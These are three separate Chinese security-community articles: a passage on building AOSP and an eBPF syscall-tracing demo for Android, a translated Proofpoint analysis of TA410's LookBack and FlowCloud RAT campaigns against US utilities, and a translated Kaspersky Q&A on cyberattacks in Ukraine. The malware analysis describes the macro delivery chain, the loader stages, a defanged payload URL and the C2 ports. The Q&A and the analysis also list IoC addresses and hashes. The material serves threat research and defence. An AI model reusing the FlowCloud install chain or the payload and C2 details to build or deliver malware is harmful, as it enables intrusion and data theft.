$ repo sync -c -j8
简单的几句命令就好了，但是要注意，内存建议大于16G，硬盘最好200G以上。
### 使用AOSP环境编译程序
# 初始化一下环境变量
$ source build/envsetup.sh
# 初始化一下你想编译哪个版本的android程序
$ lunch aosp_crosshatch-userdebug
接着后续的测试代码可以参考测试代码，该文章中的代码，在我测试的过程中，没有啥问题，是能正常运行的，但是在第一次编译的时候，可能是AOSP架构的问题，会把整个项目都先编译一次，我安卓也搞的不多，也不知道如果只编译指定项目。不过在第一编译之后，后续只需要使用`m
name`，就可以只编译指定项目了。也是因为要编译整个项目，如果内存小于16G，是会编译失败的，如果本身内存不够，可以增加一下交换分区的大小。
## Android上的BPF
通过这个demo，能看出来，android下使用BPF程序的步骤如下：
>
> 首先把编译好的bpf.o程序放到`/system/etc/bpf/`目录下，这就要求我们需要有`/system`目录的可写权限，但是在我的手机上，就算有root权限了，`system`目录也没办法写。所以我把手机的系统从MIUI12，刷成了`evolution
> x`系统，然后通过`adb shell mount -o rw,remount
> /`来重新挂载根目录，这样就能写`/system/etc/bpf`目录了。
>
> 使用`bpfloader`程序，会自动加载`/system/etc/bpf`目录下的`*.o`文件，然后会在`/sys/fs/bpf`目录生成相应的`prog_xxx`和`map_xx`文件。
> 我们自己的loader文件需要通过`/sys/fs/bpf`目录下的那两个文件来和BPF程序进行交互。
## 深入研究Android下的BPF
我根据Linux下的eBPF文件的资料，自己写了一个DEMO：
BPF程序bpftest.c
#include <linux/bpf.h>
#include <stdbool.h>
#include <stdint.h>
#include <bpf_helpers.h>
#include <string.h>
#define MAX_ARGV 128;
#define bpf_printk(fmt, args...) bpf_trace_printk(fmt, sizeof(fmt), ##args)
struct event_execv
{
uint32_t pid;
uint32_t gid;
char cmd[80];
};
DEFINE_BPF_MAP(execve_map, ARRAY, uint32_t, struct event_execv, 256);
struct execve_args
{
short common_type;
char common_flags;
char common_preempt_count;
int common_pid;
long __syscall_nr;
unsigned long args[6];
};
SEC("tracepoint/raw_syscalls/sys_enter")
int trace_execve_event(struct execve_args *ctx)
{
struct event_execv event;
uint32_t key = 1;
int comm;
char trace_buf[] = "[Debug] pid = %d, gid = %d, comm=%s\n";
memset(&event, 0, sizeof(event));
event.pid = bpf_get_current_pid_tgid();
event.gid = bpf_get_current_uid_gid();
bpf_execve_map_update_elem(&key, &event, BPF_ANY);
comm = bpf_get_current_comm(&event.cmd, sizeof(event.cmd));
if (comm != 0)
{
return -1;
}
event.cmd[79] = 0;
bpf_printk(trace_buf, event.pid, event.gid, event.cmd);
bpf_execve_map_update_elem(&key, &event, BPF_ANY);
return 0;
}
LICENSE("GPL");
### map映射
`DEFINE_BPF_MAP`是对map相关操作的一个宏定义，可以参考：bpf_helpers.h
#define DEFINE_BPF_MAP_NO_ACCESSORS(the_map, TYPE, TypeOfKey, TypeOfValue, num_entries) \
struct bpf_map_def SEC("maps") the_map = { \
.type = BPF_MAP_TYPE_##TYPE, \
.key_size = sizeof(TypeOfKey), \
.value_size = sizeof(TypeOfValue), \
.max_entries = (num_entries), \
};
#define DEFINE_BPF_MAP(the_map, TYPE, TypeOfKey, TypeOfValue, num_entries) \
DEFINE_BPF_MAP_NO_ACCESSORS(the_map, TYPE, TypeOfKey, TypeOfValue, num_entries) \
\
static inline __always_inline __unused TypeOfValue* bpf_##the_map##_lookup_elem( \
TypeOfKey* k) { \
return unsafe_bpf_map_lookup_elem(&the_map, k); \
}; \
\
static inline __always_inline __unused int bpf_##the_map##_update_elem( \
TypeOfKey* k, TypeOfValue* v, unsigned long long flags) { \
return unsafe_bpf_map_update_elem(&the_map, k, v, flags); \
}; \
\
static inline __always_inline __unused int bpf_##the_map##_delete_elem(TypeOfKey* k) { \
return unsafe_bpf_map_delete_elem(&the_map, k); \
};
比如我上面的代码为：`DEFINE_BPF_MAP(execve_map, ARRAY, uint32_t, struct event_execv,
256);`
我的map_name为`execve_map`，所以这个宏定义帮我定义了`bpf_execve_map_update_elem`这类的函数，帮我定义了结构体：
struct bpf_map_def SEC("maps") execve_map = {
.type = BPF_MAP_TYPE_##TYPE,
.key_size = sizeof(TypeOfKey),
.value_size = sizeof(TypeOfValue),
.max_entries = (num_entries),
};
并且在`/sys/fs/bpf`目录下生成的map文件的结构为：`map_(bpf文件名)_(定义的map_name)`，假如我编译的bpf文件名为：`bpftest.o`，放到`/system/etc/bpf/`目录下，那么在`/sys/fs/bpf`目录下生成的为：`map_bpftest_execve_map`。
map可以理解为，内核中的BPF和用户态之间的接口，在内存中是以键值对的形式存在的，按我理解，key和value的类型也是可以自己定义的，可以是int，指针，字符串，或者结构体，因为对于BPF来说，key和value就是内存中的一段值，只需要定义好key和value的size就好了，而在上面的结构体中就定义了key和value的大小。
用户态的loader可以通过`/sys/fs/bpf/map_bpftest_execve_map`和BPF程序来交换数据。
### BPF函数编写
这块知识的文章挺多的，在BPF的函数定义的上头都需要有一个`SEC("xxxx")`，在最开始的demo中还有另一个写法，以下两种写法是等同的：
SEC("tracepoint/sched/sched_switch")
int tp_sched_switch(struct switch_args* args)
{
......
}
DEFINE_BPF_PROG("tracepoint/sched/sched_switch", AID_ROOT, AID_NET_ADMIN, tp_sched_switch) (struct switch_args* args) {
......
}
SEC里面的字符串是为了定义下面的函数是什么类型的BPF程序，因为BPF程序也有很多中类型，比如`kprobe, kretprobe, uprobe,
uretprobe, tracepoint......`。
具体都有啥，可以参见：libbpf.c
再低一点的版本这个结构体的名字叫`section_names`，不过在我研究了一波之后，我感觉不能通过内核版本来确定我们可以用哪个`section`，需要通过`/sys/kernel/debug/`目录下的情况来确定，但是安卓手机上的情况却有一些不同，目录为:
`/sys/kernel/tracing/`，比如我上面代码中的：`SEC("tracepoint/raw_syscalls/sys_enter")`，是因为有以下目录：`/sys/kernel/tracing/events/raw_syscalls/sys_enter/`，并且`struct
execve_args`结构体是来源于：`/sys/kernel/tracing/events/raw_syscalls/sys_enter/format`
目前这种方式我觉得只适用于`tracepoint`，其他的还没研究到，后续研究到了再补充。
再android上，`/sys/fs/bpf/prog_xx`的命名方式为：`prog_(文件名)_(section名)_(分类，分类名之类的)`
比如我的代码中，文件名为`bpftest`，section名为`tracepoint`，tracepoint的分类为`raw_syscalls`，分类名为`sys_enter`，所以最后得到的文件为：`/sys/fs/bpf/prog_bpftest_tracepoint_raw_syscalls_sys_enter`
### BPF相关函数
bpf的相关函数可以参考`bpf_helper_defs.h`文件，比如上述的`bpf_get_current_pid_tgid`，表示获取触发该BPF的程序的pid，`bpf_get_current_uid_gid`是获取用户的gid，`bpf_get_current_comm`是获取程序名，还有其他的可以自行去看这个头文件的定义。
### 日志调试
BPF提供一个`bpf_trace_printk`函数来打印调试信息，在android下，可以使用atrace命令来读取。
并且我通过strace对atrace进行跟踪发现，其实只需要执行下面两句命令：
$ echo 1 > /sys/kernel/tracing/tracing_on
$ cat /sys/kernel/tracing/trace_pipe
我在想，通过这个调试信息，好想也能把BPF的数据传送给用户态的loader程序。
## 参考
1. <https://github.com/ehids/ecapture>
2. <https://zhuanlan.zhihu.com/p/482266243>
3. <https://github.com/omnirom/android_system_bpf/blob/0706429da9a9fb15d93d8ed8300af77410311a69/progs/include/bpf_helpers.h>
4. <https://elixir.bootlin.com/linux/v5.10.150/source/tools/lib/bpf/libbpf.c#L8319> | 社区文章 |
**原文链接：[Against U.S. Utilities Sector Returns with New
Malware](https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new "Against U.S.
Utilities Sector Returns with New Malware")**
**译者：知道创宇404实验室翻译组**
去年8月，Proofpoint研究人员发现LookBack恶意软件在该年7月至8月间针对美国公用事业部门发起了网络攻击。通过分析8月21日至29发起的活动发现，这些攻击活动还利用恶意宏向美国各地的攻击目标发送恶意软件。与此同时，研究人员还发现了一个全新的恶意软件家族FlowCloud，这个家族也被交付给了美国的公用事业提供商。
像LookBack这样的FlowCloud恶意软件可以使攻击者完全控制受感染的系统。它的远程访问木马（RAT）功能包括访问已安装的应用程序、键盘、鼠标、屏幕、文件和服务进程，并通过这些命令控制来泄露信息。
通过观察2019年7月至11月间的网络钓鱼活动，基于威胁参与者使用共享附件宏、恶意软件安装技术和重叠交付基础结构我们可以确定LookBack和FlowCloud恶意软件都归因于我们称为TA410的威胁参与者。
此外，我们还发现TA410和TA429（APT10）之间的相似之处。具体来讲，他们之间有共同的附件宏，而且2019年11月检测到的TA410活动中还包括网络钓鱼附件传递宏中使用的与TA429（APT10）相关的基础结构。但是，Proofpoint分析师认为，黑客们可能是在故意使用TA429（APT10）技术和基础架构来进行虚假标记。因此，在进行研究时我们不会将LookBack和FlowCloud活动归因于TA429（APT10）。
下图显示了所标识的LookBack和FlowCloud活动的时间表。
## 发现
从2019年7月10日开始，研究人员观察到了钓鱼活动，这些活动以美国各地的公用事业供应商为目标，带有 Portable Executable
安全(PE)附件，并使用了类似“PowerSafe能源教育课程(30天试用期)”这样的主题，这些活动一直持续到2019年9月。
针对这些钓鱼活动，我们经过分析确定发现PE附件传递了一个模块化的恶意软件，我们称这些活动为“FlowCloud”。
值得注意的是，这些FlowCloud活动与Proofpoint先前记录的攻击活动是同时发生的。Flowcloud 和
LookBack这两个活动都针对的是美国的公用事业供应商，两者都使用以培训和认证为主题的诱饵，两者都使用黑客控制的域进行传递。在某些情况下，FlowCloud
和 LookBack 活动不仅针对同一家公司，而且针对同一个收件人。
从2019年11月发动攻击开始，我们观察到FlowCloud交付策略的显着变化。目标即美国公用事业公司保持不变，但是攻击者从PE附件转移到了载有大量恶意宏的Microsoft
Word文档。
此外，攻击者们从11月开始使用域名asce[.email]传递这些附件。该域于2019年6月首次注册到IP103.253.41[.]
75([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.253.41.75
"ZoomEye搜索结果")），在先前的LookBack活动中用作登台和侦察IP。在2019年10月29日，该域名解析为IP134.209.99[.]169
[（ZoomEye搜索结果）](https://www.zoomeye.org/searchResult?q=134.209.99.169
"ZoomEye搜索结果")，其还涉及了一些能源认证和教育主题领域。这些域中的许多域还与2019年7月和8月FlowCloud网络钓鱼活动中先前观察到的传递域共享SSL证书。如下图所示，该图演示了参与者将单个SSL证书用于多个能量和培训领域。参与者在“备用名称”字段中列出了由证书签名的域，以便标识其他相关基础结构。FlowCloud活动中使用了许多此类域。
下表显示了TA410分段IP，在首次被观察时，与它们关联的注册域以及源自这些域的电子邮件所传递的恶意软件。
2019年11月活动中的电子邮件内容冒充了美国土木工程师学会，并被伪装成合法的域asce[.]org。该电子邮件的结构与为在2019年7月模拟NCEES和全球能源认证构造的LookBack电子邮件非常相似。下图是相关邮件示例：
## 开发-安装宏
如上所述，长时间使用PE附件在活动中交付FlowCloud之后，FlowCloud背后的攻击者在2019年11月开始转向使用带有恶意宏的Microsoft
Word文档。Word文档附件和交付FlowCloud的宏具有相似之处。通过Word文档附件和宏，我们确定在2019年7月至8月交付了LookBack。
与LookBack所使用的方法相同，FlowCloud宏使用了增强隐私的邮件（“.pem”）文件，这些文件随后被重命名为“pense1.txt”。接下来，将此文件另存为“gup.exe”的可执行文件，并使用名为“Temptcm.tmp”的certutil.exe工具版本执行。
相比之下，2019年11月5日用于安装 FlowCloud 恶意软件的宏显示了用于安装 FlowCloud 的宏，而2019年8月6日用于安装
LookBack 恶意软件的宏显示了用于安装 LookBack 的宏。
本文中LookBack恶意软件针对美国公用事业部门，模拟工程许可委员会对LookBack所使用的这种方法进行了更深入的说明。FlowCloud使用完全相同的宏连接代码的相同方法。
虽然我们发现两个宏版本的LookBack
Gup代理工具和FlowCloud恶意软件的最终执行方法相同，但FlowCloud宏却引入了一种新的恶意软件传递方法。
宏的早期LookBack版本将有效负载隐藏在电子邮件（“.pem”）文件中，这些文件在用户点击附件时被删除。宏的FlowCloud版本利用之前未被观察到的部分从DropBox
URL下载有效负载。在下载有效负载后，以.pem文件形式的FlowCloud恶意软件PE会保存为变量“Pense1.txt”。如下图所示：
宏还包含一个奇怪的 try..catch 语句，该语句最初试图从DropBox
URL下载FlowCloud有效负载来作为try语句的一部分。但是如果无法从该资源中检索有效负载，那么一个与try语句类似的catch语句将试图从URL
http://ffca.caibi379[.]com/rwjh/qtinfo.txt”.” 中检索资源. 下图显示有问题的代码语句。
这个try... catch序列意义重大，因为catch语句和恶意软件资源中的URL在“[Uncovering New Activity by
APT10](https://www.fortinet.com/blog "Uncovering New Activity by
APT10")”文章中普及。该文章称这个URL提供了一个修改过的Quasar
RAT有效载荷，而且其中包括了SharpSploit（一个开源的后开发工具），当分析在同一天的FlowCloud活动投放时，此URL资源不可用，而DropBox的URL则成功交付了FlowCloud.Pem文件。尽管Proofpoint尚未独立验证其他研究人员针对参考的Quasar
RAT样本所作的这些归因声明，但这个
URL的使用代表了以前未披露的与TA429(APT10)公开报道的IoCS的重叠。虽然表面上该域可能暗示链接到TA429（APT10），但我们发现了与域注册信息和URL的非活动性质有关的若干异常，下文也将详细阐述。
## FlowCloud恶意软件
我们对FlowCloud恶意软件的分析可以确定，它是一个多阶段有效负载，并使用C
++进行编译。该代码有一些复杂，这其中还包含许多组件，我们在整个FlowCloud运行过程中发现部分组件还是对QQ组件的模仿。
FlowCloud恶意软件能够根据其可用命令（包括访问剪贴板、已安装的应用程序、键盘、鼠标、屏幕、文件和服务进程）提供RAT功能，并通过命令和控制来泄露信息。此外，所分析的恶意软件变体还几个独特的特征，这些特征表明该恶意软件至少从2016年7月就开始活跃。
除了针对更新的Windows版本构建的组件之外，FlowCloud还删除了与Windows 6（Windows
Vista）及更低版本兼容的32位模块。该二进制文件的性质及恶意软件代码的可扩展性表明FlowCloud代码库已经开发了很多年。[报告](https://www.bleepingcomputer.com/forums/t/644821/computer-restart-every-1-2-minutes-and-bsod/)显示，FlowCloud恶意软件组件和相关安装目录路径的信息表明其最早在2016年7月被检测。此外，利用QQ文件开发了该恶意软件，并确定了从日本上传到VirusTotal的恶意软件样本。2018年12月，台湾地区也有证据表明该恶意软件曾在亚洲活跃。
下图概述了FlowCloud的加载程序功能。
* 恶意软件首先由恶意宏执行Gup.exe，然后由宏执行文件EhStorAuthn.exe。
* EhStorAuthn.exe提取后续的有效负载文件组件，并将它们安装到目录C：\Windows\Media\SystemPCAXD\ado\fc中。该文件还将设置存储注册表记录器驱动程序和恶意软件配置的注册表项值作为“KEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\<2-4>”值。
* EhStorAuthn.exe是QQ使用的合法可移植可执行文件，其初始名称为QQSetupEx.exe。此文件用于加载文件dlcore.dll，这是其自然下载程序的一部分。
* Dlcore.dll是由黑客精心制作的DLL，其充当shellcode注入程序，从名为rebare.dat的文件中提取shellcode。该文件模仿了合法的QQ组件。
* 当执行rebare.dat中的shellcode时，它将依次执行一个名为rescure.dat的RAT安装程序文件。
* Rescure.dat是XOR加密的DLL文件，它安装了基于RAT的应用程序responsor.dat，该应用程序安装了键盘记录程序驱动程序并管理RAT功能。
* Responsor.dat将几个模块（rescure86.dat或rescure64.dat）解压到注册表“％TEMP％\ {0d47c9bc-7b04-4d81-9ad8-b2e00681de8e}”，并将解压缩后的文件作为名为“FSFilter Activity Monitor”或“FltMgr”。
* 最后，当调用rescure.dat函数“startModule”时，Responsor.dat启动RAT。
* 该恶意软件还使用了几个合法的Microsoft Windows文件进行线程注入。
* EhStorAuthn_shadow.exe（hhw.exe）使用Microsoft HTML帮助文件作为线程注入的占位符。
* Hha.dll是Microsoft HTML的组件，并且是运行EhStorAuthn_shadow.exe所必需的。
恶意软件将其配置与恶意软件的按键记录程序组件所利用的驱动程序一起存储在注册表中。生成了几个其他不同的注册表项，这些注册表项指示恶意软件在主机上的当前执行阶段。下表中包含其中一些键。
## FlowCloud配置
FlowCloud加载程序组件EhStorAuthn.exe在早期的安装中将恶意软件配置存储在注册表中，并在上表中进行了表示。注册表数据由多个加密的标头（使用XOR和ROR）组成，并且使用修改（的AES算法对数据进行加密。纯文本数据使用ZLIB压缩，并使用Google的协议缓冲区进行序列化。1下图显示了FlowCloud调试日志显示的配置示例：
## 命令与控制
FlowCloud恶意软件利用自定义二进制C2协议将配置更新、扩散和处理。我们将这些独立的线程标识为广泛的命令处理功能的一部分，并且每个命令都具有不同的命令管理器。我们分析的样本使用端口55555进行文件渗透，使用端口55556加载其他数据。我们确定了IP
188.131.233.27的FlowCloud通信。请求响应由多个加密头（使用XOR和ROR）和TEA加密数据组成，其中TEA加密数据使用包含随机编码的硬编码字符串和MD5
hash的密钥生成方案。纯文本数据使用ZLIB压缩，并使用Google的协议缓冲区序列化。
## TA429（APT10）指标和TA410活动比较
[FireEye](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
"FireEye")和EnSilo关于TA429（APT10）活动的成果包含后来出现在TA410运动中的指示器。在我们对该研究的回顾性分析中，我们确定TA429（APT10）使用了网络钓鱼宏，该宏后来又被LookBack和FlowCloud恶意软件所使用。此外，我们还确定了11月份FlowCloud宏使用的Quasar
RAT传递URL hxxp：//ffca.caibi379[.]com/rwjh/qtinfo.txt，该URL已发布在enSilo报告中。
有趣的是，2019年7月使用的多个LookBack恶意软件模块的编译日期为2018年9月14日。其中包括以前关于LookBack恶意软件中的SodomMain和SodomNormal模块。该日期仅在FireEye发布对日本使用的类似TA429（APT10）宏的初步分析之后的一天。
尽管直到2019年6月才在外界观察到LookBack恶意软件样本，但2018年9月的编译日期表明编译和交付之间存在很大的滞后时间。这表明威胁者可能操纵了时间编译，但尚未最终确定。
TA410在参与者控制的基础结构上首次确定服务器安装是在2018年12月。LookBack和FlowCloud活动的大部分域注册时间分别于2019年5月和2019年6月。
此外，enSilo在2019年5月24日发表了关于 TA429(APT10)相关的Quasar
RAT样本的文章，后期非活动URL才被纳入网络钓鱼宏中作为针对美国FlowCloud活动的一部分实用程序。WHOIS记录和ffca.caibi379[.]com的DNS信息表明，该域的注册人电子邮件和地址字段已于2019年6月7日更新。域名A于2019年9月9日更新，解析为IP34.80.27[.],其有200个包含在谷歌ASN中。从2018年6月开始，包括enSilo讨论的活动时期，该域托管在APNIC
Hostmaster拥有的几个IP上。放弃APNIC拥有的IP基础设施代表威胁行为者基础设施托管策略的一个转变。虽然这项研究不是结论性的，但它表明所有观察到的TA429(APT10)的相似性和IoCs在
TA410运动开始之前已经公开。虽然目前的分析没有得出结论，但这些重叠仍有可能代表TA410威胁行为者的虚假标志活动。根据这一分析，Proofpoint分析师跟踪TA410，将其作为与
TA429(APT10)不同的威胁参与者。
## 结论
2019年11月，LookBack 和 FlowCloud
恶意软件运动显示了TA410参与者在针对美国公用事业提供商的单个持续活动中明显利用多种工具的能力。这两个恶意软件家族在构思和开发上都表现出了一定程度的复杂性，而FlowCloud恶意软件的可扩展代码库表明，这个群体可能早在2016年就已经开始运行了。
Ta410运营商表示愿意动态演变钓鱼策略，以提高其活动的效率。目前尚不清楚与TA429(APT10)共享的战术和指标的性质是由该小组制定的还是从现成技术报告中挑选出来的。
仍可能的是这些重叠代表了一些虚假标志，目的是掩盖这些犯罪者的身份，同时将目标对准美国一个关键的、具有地缘政治敏感性的能源供应部门。不管操作者的意图如何，TA410已经确立了自己行为者的地位，它拥有成熟的工具，会进行长期宣传。
IoCs
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接:<https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/>**
## 关于网络研讨会
2022年3月10日，卡巴斯基的全球研究和分析小组(GReAT)分享了他们对乌克兰当前(和过往)网络攻击的见解。在这篇文章中，我们解决了我们没有时间回答的问题，并提供了能够帮助您抵御已识别的威胁的IoCs。你可以在这里观看网络研讨会的完整录像:
[‘目前乌克兰的网络攻击一览’](https://securelist.com/webinars/ukraine-cyberattack-analysis/)
网络研讨会内容包括对乌克兰遭受攻击的回顾，以及对乌克兰当前网络活动的概述，其中包括已知的 APT 活动、未知派别实施的DDoS
攻击、利用商业性的rat攻击、黑客行动主义、网络罪犯的活动以及不明来源的攻击。
在网络直播中，我们还分析了卡巴斯基在乌克兰的蜜罐网络识别的攻击，以及对 Gamaredon、 Cyclops Blink、 Hades/Sandworm
和未知组织使用 PandoraBlade 等商品恶意软件进行的 APT
攻击的分析。我们还调查了针对乌克兰组织使用的不同雨刷，包括HermeticWiper、 WhisperGate、 IsaacWiper
和HermeticRansom。我们还报道了在同一时间段内发生的未知和未归因的攻击以及黑客活动。
我们估计，在未来六个月内，乌克兰的网络攻击数量将会增加。虽然目前大多数攻击的复杂性较低，如 DDoS
攻击或使用在售和低质量工具的攻击，但也存在更复杂的攻击，预计还会有更多攻击。目前复杂的活动包括部署 hermadewiper，它比较成熟也比较高级，以及
Viasat 的“网络事件”--部分网络中断，影响了乌克兰和欧洲 KA-SAT 网络其他地方固定宽带客户的互联网服务，影响了欧洲超过30000个终端。
目前，我们评估这场冲突的网络战场蔓延到欧洲的风险为中等。
我们建议机构:
* 针对 DDoS 攻击、勒索软件和破坏性恶意软件、网络钓鱼、定向攻击、供应链攻击和固件攻击采取措施
* 确保任何和所有面向互联网的系统都安装了最新的补丁
* 在端点上安装安全软件
* 建立全面的日志记录系统，防御者对可疑事件保持警惕
* 在所有机器上建立严格的应用程序白名单
* 积极搜寻公司内部网络中的攻击者
## Q&A
由于时间的限制，我们不能在网络研讨会期间解决所有的问题，所以以下是我们在现场会议中收到的其余问题的答案:
问: **使用企业资源发动攻击的可能性有多大？**
答: 根据攻击的性质，攻击可能不会区分家庭系统、中小企业系统和企业系统。例如，受感染的物联网和网络设备(如 ip
摄像机)可能被任何人使用，并可能被攻击者感染和滥用，以发动 DDoS
攻击等攻击。攻击者将使用和滥用任何他们需要的资源，以便进行他们的攻击。如果这包括企业资源，那么它们将不会幸免。
问: **目前我们已经看到在德国地区许多不同的 TOR-exits
服务中出现了大规模连接爆发。这是否能说明威胁情况的”真实”图景，因为许多攻击者似乎来自——单就这个实例中——德国，或者是可能来自那些目前非常有兴趣对欧洲或乌克兰造成损害的地区？**
答: 当涉及到攻击的来源时，我们通常会考虑 TOR 和其他匿名服务。由于退出节点上的强制策略，并非所有攻击(例如对我们的蜜罐基础设施的攻击)都很容易通过
TOR 实现。
**问: 我想知道，对于针对俄罗斯目标的攻击，包括来自“黑客行动主义者”和其他人的攻击，你有什么看法？你能帮助我们区分炒作造谣与真正产生影响的攻击吗？**
答:
我们已经看到了一些公开的“黑客”声明。它们中的大多数都没有足够的证据来证实真正的黑客行为，我们也没有能力或资源来验证它们中的大多数”。最重要的建议是不要盲目地相信所有的信息、报告和声明——尤其是未经验证的内容或者来自未经验证的渠道/账户的内容。
**问: 我们都知道 REvil 组织的活动和 Kaseya 事件。REvil
成员几个月前被俄罗斯联邦安全局逮捕。你认为这些人可能被克里姆林宫“雇佣”来组织对乌克兰的进攻吗？或者你认为有可能确定是否有攻击者是前 REvil 成员？**
答:
我们对犯罪分子或其他黑客的受雇佣情况没有太多深入了解，对任何政府或相关组织的计划和战略也没有太多深入了解。我们的重点仅仅在于技术方面，而这正是我们的专业知识和重点所在。犯罪分子和其他黑客的真实身份是执法部门和相关机构的关注领域。
**问: 俄罗斯和乌克兰之间的这场冲突将如何影响金融业务？防火墙和防病毒工具是否足以抵御来自欧洲的网络攻击？**
答:
金融交易和其他业务是通过金融机构网络处理的。它们通常使用许多不同的方法加以保护。攻击源(即地区或国家)通常不是防御方面的首要问题，而是技术和攻击目标。根据这一点，防御者应该采用特定的方法和策略来防止攻击。
**问: 你们有关于针对非政府组织的攻击的最新数据吗？**
答:
一些调查显示，攻击目标包括非政府组织——这些可以通过我们的[威胁情报报告服务](https://www.kaspersky.com/enterprise-security/threat-intelligence)获得。
下面是从我们在乌克兰的蜜罐传感器得到的 IoCs 列表。这些都是被观察到的，最显著且相关的攻击 IP 地址。
## IoCs
185[.]252[.]232[.]67（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185%5B.%5D252%5B.%5D232%5B.%5D67)）
133[.]242[.]129[.]39（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=133%5B.%5D242%5B.%5D129%5B.%5D39)）
120[.]48[.]3[.]144（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=120%5B.%5D48%5B.%5D3%5B.%5D144)）
178[.]62[.]81[.]147（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=178%5B.%5D62%5B.%5D81%5B.%5D147)）
159[.]203[.]71[.]145（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=159%5B.%5D203%5B.%5D71%5B.%5D145)）
116[.]105[.]72[.]113（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=116%5B.%5D105%5B.%5D72%5B.%5D113)）
182[.]59[.]88[.]117（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=182%5B.%5D59%5B.%5D88%5B.%5D117)）
27[.]6[.]204[.]233（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=27%5B.%5D6%5B.%5D204%5B.%5D233)）
115[.]48[.]212[.]167（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=115%5B.%5D48%5B.%5D212%5B.%5D167)）
42[.]227[.]250[.]181（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=42%5B.%5D227%5B.%5D250%5B.%5D181)）
219[.]157[.]145[.]211（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=219%5B.%5D157%5B.%5D145%5B.%5D211)）
182[.]119[.]167[.]53（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=182%5B.%5D119%5B.%5D167%5B.%5D53)）
42[.]224[.]124[.]173（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=42%5B.%5D224%5B.%5D124%5B.%5D173)）
125[.]40[.]19[.]101（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=125%5B.%5D40%5B.%5D19%5B.%5D101)）
196[.]70[.]116[.]243（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=196%5B.%5D70%5B.%5D116%5B.%5D243)）
125[.]41[.]141[.]113（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=125%5B.%5D41%5B.%5D141%5B.%5D113)）
219[.]157[.]59[.]51（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=219%5B.%5D157%5B.%5D59%5B.%5D51)）
14[.]106[.]231[.]203（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=14%5B.%5D106%5B.%5D231%5B.%5D203)）
87[.]150[.]3[.]191（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=87%5B.%5D150%5B.%5D3%5B.%5D191)）
152[.]32[.]180[.]171（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=152%5B.%5D32%5B.%5D180%5B.%5D171)）
192[.]241[.]221[.]199（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192%5B.%5D241%5B.%5D221%5B.%5D199)）
121[.]229[.]44[.]136（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=121%5B.%5D229%5B.%5D44%5B.%5D136)）
192[.]241[.]220[.]251（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192%5B.%5D241%5B.%5D220%5B.%5D251)）
192[.]241[.]220[.]48（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192%5B.%5D241%5B.%5D220%5B.%5D48)）
192[.]241[.]220[.]47（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192%5B.%5D241%5B.%5D220%5B.%5D47)）
192[.]241[.]218[.]100（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192%5B.%5D241%5B.%5D218%5B.%5D100)）
62[.]16[.]2[.]14（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=62%5B.%5D16%5B.%5D2%5B.%5D14)）
152[.]32[.]135[.]202（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=152%5B.%5D32%5B.%5D135%5B.%5D202)）
139[.]162[.]8[.]54（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=139%5B.%5D162%5B.%5D8%5B.%5D54)）
**Hashes**
[ecce8845921a91854ab34bff2623151e](http://ecce8845921a91854ab34bff2623151e/)
IsaacWiper
[d5d2c4ac6c724cd63b69ca054713e278](https://opentip.kaspersky.com/d5d2c4ac6c724cd63b69ca054713e278/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
HermeticRansom
[3f4a16b29f2f0532b7ce3e7656799125](https://opentip.kaspersky.com/3f4a16b29f2f0532b7ce3e7656799125/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
HermeticWiper
[84ba0197920fd3e2b7dfa719fee09d2f](https://opentip.kaspersky.com/84ba0197920fd3e2b7dfa719fee09d2f/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
HermeticWiper
[517d2b385b846d6ea13b75b8adceb061](https://opentip.kaspersky.com/517d2b385b846d6ea13b75b8adceb061/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
HermeticWizard
[5d5c99a08a7d927346ca2dafa7973fc1](https://opentip.kaspersky.com/5d5c99a08a7d927346ca2dafa7973fc1/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhisperGate
[14c8482f302b5e81e3fa1b18a509289d](https://opentip.kaspersky.com/14c8482f302b5e81e3fa1b18a509289d/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhisperGate
[e61518ae9454a563b8f842286bbdb87b](https://opentip.kaspersky.com/e61518ae9454a563b8f842286bbdb87b/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhisperGate
[3907c7fbd4148395284d8e6e3c1dba5d](https://opentip.kaspersky.com/3907c7fbd4148395284d8e6e3c1dba5d/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhisperGate
